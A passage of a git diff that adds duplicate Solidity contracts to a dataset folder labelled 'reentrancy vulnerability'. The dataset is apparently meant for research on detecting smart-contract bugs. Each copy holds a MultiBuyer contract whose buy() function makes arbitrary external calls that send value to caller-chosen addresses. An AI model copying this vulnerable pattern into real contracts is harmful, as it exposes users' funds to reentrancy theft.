function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/20821.sol b/smart_contract_dataset/reentrancy vulnerability/20821.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/20821.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/21071.sol b/smart_contract_dataset/reentrancy vulnerability/21071.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/21071.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/21080.sol b/smart_contract_dataset/reentrancy vulnerability/21080.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/21080.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/21082.sol b/smart_contract_dataset/reentrancy vulnerability/21082.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/21082.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) 